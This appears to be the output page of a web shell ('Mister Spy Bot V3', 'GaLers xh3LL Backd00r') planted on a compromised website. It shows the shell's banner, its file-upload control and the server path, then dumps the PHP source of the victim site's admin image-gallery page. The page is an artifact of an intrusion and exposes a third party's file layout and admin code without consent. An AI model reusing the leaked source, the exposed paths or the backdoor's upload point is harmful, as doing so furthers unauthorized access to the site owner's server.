Mister Spy Say ="Hello Kids ... :D" ___ ____ _ _____ | \/ (_) | | / ___| | . . |_ ___| |_ ___ _ __ \ `--. _ __ _ _ | |\/| | / __| __/ _ \ '__| `--. \ '_ \| | | | | | | | \__ \ || __/ | /\__/ / |_) | |_| | \_| |_/_|___/\__\___|_| \____/| .__/ \__, | | | __/ | |_| |___/ Bot Mister Spy V3
Mister Spy

Mister Spy

Current Path : /home/caballoscriollos/public_html/web/admin/
Upload File :
Current File : /home/caballoscriollos/public_html/web/admin/imagegallery.php

<?php 

require_once('../inc_library_front.php');

/* secciÛn exclusiva para usuarios autentificados */
Session::ForceLogin();

/* verificamos si posee permisos */
if (!Session::CheckPerm(Modulo::Imagenes))
	Session::NoPerm();

/* obtenemos datos enviados */
$Page 			= intval($_REQUEST['PageGaleria']);
$PageSize 		= 100000;//intval($_REQUEST['PageGaleriaSize']);
$Imagen 		= $_FILES['Imagen'];
$Action 		= strval($_REQUEST['MainAction']);
$Id				= intval($_REQUEST['Id']);
$IdCategoria	= intval($_REQUEST['IdCategoria']);
$url 			= strval($_REQUEST['url']);

/* declaramos e instanciamos variables necesarias */
$err				= 0;
$errUpload			= 0;
$arrData			= array();
$oCategorias		= new Categorias();
$oGaleriaImagen 	= new GaleriaImagen();
$oGaleriaImagenes 	= new GaleriaImagenes();
$oAdministradores	= new Administradores();
$oPage 				= new Page($Page, $PageSize);

$oCategoria = $oCategorias->GetById($IdCategoria, ContenidoTipos::Galeria);

$arrAdministradores	= $oAdministradores->GetAll();

/* arma cadena de parametros */
$strParams = (strlen($_SERVER['QUERY_STRING']) > 0) ? '?' . $_SERVER['QUERY_STRING'] : '';

/* Armamos el filtro */
$filter	= array();
$filter['IdCategoria'] = $IdCategoria;

if (!Session::CheckPerm(Modulo::Seo))
	$filter['IdAdministrador'] = $currentUser->IdAdministrador;

$arrData = $oGaleriaImagenes->GetAll($filter, $oPage);

/* ejecuta la accion solicitada... */
switch ($Action)
{
	case 'Add':
		
		/* obtiene el epigrafe a agregar */	
		$IdCategoria	= $_REQUEST['IdCategoria'];
		$Epigrafe 		= $_REQUEST['Epigrafe'];
		
		if ($Imagen['name'] == '')
			$err |= 8;
		
		/* si no hay errores... */
		if ($err == 0)
		{
			if ($Imagen['error'] != 1)
			{
				$oUpload = new Image
				(
					$Imagen['name'], 
					$Imagen['tmp_name'], 
					$Imagen['size'], 
					$Imagen['type'], 
					array(GaleriaImagen::PathImageBig, GaleriaImagen::PathImageThumb),
					array('jpg', 'jpeg', 'gif', 'png'),				
					array(860, 240), 
					array(640, 180),
					array('Resize', 'Adaptive'),
					100
				);
		
				if ($oUpload->UploadImage())
				{
					$oGaleriaImagen->IdGaleria		= $IdGaleria;
					$oGaleriaImagen->IdCategoria	= $IdCategoria;
					$oGaleriaImagen->Imagen 		= $oUpload->GetNombre();
					$oGaleriaImagen->Epigrafe 		= $Epigrafe;
					
					$oGaleriaImagen = $oGaleriaImagenes->Create($oGaleriaImagen);

					$Operation = Operaciones::Create;
					$Status = (($oGaleriaImagen) ? true : false);
				}
			}
		}
		break;
		
	case 'DeleteMultiple':	
		if (sizeof($arrData) != 0)
		{		
			$Delete = true;
		
			foreach ($arrData as $oImagen)
			{
				if (isset($_REQUEST['Eliminar_' . $oImagen->IdImagen]))
				{
					if (!($oGaleriaImagenes->Delete($oImagen->IdImagen)))
						$Delete = false;
				}
			}
			
			$Operation = Operaciones::Delete;
			$Status = (($Delete) ? true : false);
		}
		
		break;
		
	case 'Back':
		header('Location: categorias.php' . $strParams);
		exit;
		break;
		
	default:
		break;
}

$Paginado 	= Pageable::PrintPaginator($oPage, $oGaleriaImagenes->GetCountRows($filter), true);
$arrData 	= $oGaleriaImagenes->GetAll($filter, $oPage);

$arrCategorias = $oCategorias->GetByIdTipo(ContenidoTipos::Galeria);

?>
<!DOCTYPE html>
<html>
    <head>
        <?php include("ssi_head_inc.php"); ?>
        <link type="text/css" href="<?= Config::UrlFiles ?>assets/plugins/x-editable/css/bootstrap-editable.css" rel="stylesheet">
	</head>
    <body class="fixed-left">

        <!-- Begin page -->
        <div id="wrapper">

            <?php include("ssi_header.php"); ?>

			<?php include("ssi_menu.php"); ?>
			
			<!-- ============================================================== -->
            <!-- Start right Content here -->
            <!-- ============================================================== -->
            <div class="content-page">
                <!-- Start content -->
                <div class="content">
                    <div class="container">
                    
                    	<div class="row">
							<div class="col-sm-12">
								<h4 class="page-title"><?= ($oCategoria->Nombre) ?></h4>
								<ol class="breadcrumb">
									<li>
										<a href="index.php">Home</a>
									</li>
									<li class="active">
										<?= ($oCategoria->Nombre) ?>
									</li>
								</ol>
								
							</div>
						</div>
						<div class="row">
                            <div class="col-md-12">
                                <div class="panel panel-default">
                                    <div class="panel-body">
                                        <div class="row">
                                        	<div class="col-xs-12">
                                                <a href="imagegallery_upload.php?IdCategoria=<?= $IdCategoria ?>" class="btn btn-success waves-effect waves-light">Subir im&aacute;genes</a>
                                            </div>
                                        </div>
                                    </div>
                                </div>
								<div class="row">
									<?php
									if ($arrData)
									{
									?>
									<div class="col-xs-12">
										<div class="row">
										<?php
										$j = 1;
										foreach ($arrData as $oGaleriaImagen)
										{
											$oAdministrador	= $oAdministradores->GetById($oGaleriaImagen->IdAdministrador);
										?>
										<div id="img-container-<?= $oGaleriaImagen->IdImagen ?>" class="col-lg-3 col-md-4 col-sm-6 col-ms-12 img-ret admin-<?= $oAdministrador->IdAdministrador ?> appro-<?= $oGaleriaImagen->Aprobado ?>" style="min-height: 409px">
											<div class=" panel panel-default panel-border">
												<div class="img-container panel-body">
													<a href="<?= GaleriaImagen::PathImageBig . $oGaleriaImagen->Imagen ?>" class="image-popup" title="<?= utf8_encode($oGaleriaImagen->Epigrafe) ?>">
														<img id="image-<?= $oGaleriaImagen->IdImagen ?>" src="<?= GaleriaImagen::PathImageBig . $oGaleriaImagen->Imagen ?>" class="thumb-img" alt="Picture">
													</a>
													<h4 class="text-muted text-left m-t-10 font-13"><span class="epi" title="<?= utf8_encode($oGaleriaImagen->Epigrafe) ?>"><?= CortarCadena(utf8_encode($oGaleriaImagen->Epigrafe), 100) ?> </span>&nbsp;<a href="#" id="btn-ed-<?= $oGaleriaImagen->IdImagen ?>" class="btn btn-default btn-xs waves-effect btn-edit-epigrafe" data-type="textarea" data-pk="<?= $oGaleriaImagen->IdImagen ?>" data-placeholder="Descripci&oacute;n Breve." data-title="Descripci&oacute;n" data-value="<?= utf8_encode($oGaleriaImagen->Epigrafe) ?>"><i class="fa fa-edit"></i></a></h4>
													<div class="m-t-10">
														
														<button id="btn-rm-<?= $oGaleriaImagen->IdImagen ?>" type="button" class="btn btn-danger waves-effect waves-light" onclick="RemoveSavedImage('<?= $oGaleriaImagen->IdImagen ?>');"><span class="btn-label"><i class="fa fa-times"></i></span> Eliminar im&aacute;gen</button>
													</div>
												</div>
											</div>
										</div>
										<?php
											$j++;	
										}
										?>
										</div>
									</div>
									<?php
									}
									else
									{
									?>
									<div class="col-xs-12">
										<div class="panel panel-default">
											<div class="panel-body">
												<div class="notifyjs-metro-base notifyjs-metro-error" style="box-shadow: none">
													<div class="image text-warning" data-notify-html="image">
														<i class="fa fa-warning"></i>
													</div>
													<div class="text-wrapper">
														<div class="title" data-notify-html="title">No se han encontrado im&aacute;genes</div>
														<div class="text" data-notify-html="text">No existen im&aacute;enes cargadas a la galer&iacute;a.</div>
													</div>
											
												</div>
											</div>
										</div>
									</div>
									<?php
									}
									?>
								</div>
                                <div class="panel panel-default">
                                    <div class="panel-body">
                                        <div class="hidden-print">
                                            <div class="pull-right">
                                                <a href="gallery.php" class="btn btn-primary waves-effect waves-light">Volver</a>
                                            </div>
                                        </div>
                                    </div>
                                </div>

                            </div>

                        </div>
					</div>
				</div>
			</div>
		</div>
		<?php include("ssi_scripts.php"); ?>
		<script type="text/javascript" src="js/resize_img.js"></script>
		<script type="text/javascript" src="<?= Config::UrlFiles ?>assets/plugins/isotope/js/isotope.pkgd.min.js"></script>
		<script type="text/javascript" src="<?= Config::UrlFiles ?>assets/plugins/magnific-popup/js/jquery.magnific-popup.min.js"></script>
		
		
		<script type="text/javascript" src="<?= Config::UrlFiles ?>assets/plugins/x-editable/js/bootstrap-editable.min.js"></script>
		<script type="text/javascript" src="<?= Config::UrlFiles ?>assets/pages/jquery.xeditable.js"></script>
		<script type="text/javascript">
		$(document).ready(function() {
		
                $('.image-popup').magnificPopup({
                    type: 'image',
                    closeOnContentClick: true,
                    mainClass: 'mfp-fade',
                    gallery: {
                        enabled: true,
                        navigateByImgClick: true,
                        preload: [0,1] // Will preload 0 - before current, and 1 after the current image
                    }
                });
            });
		</script>
	</body>
</html>

Mr. DellatioNx196 GaLers xh3LL Backd00r 1.0, Coded By Mr. DellatioNx196 - Bogor BlackHat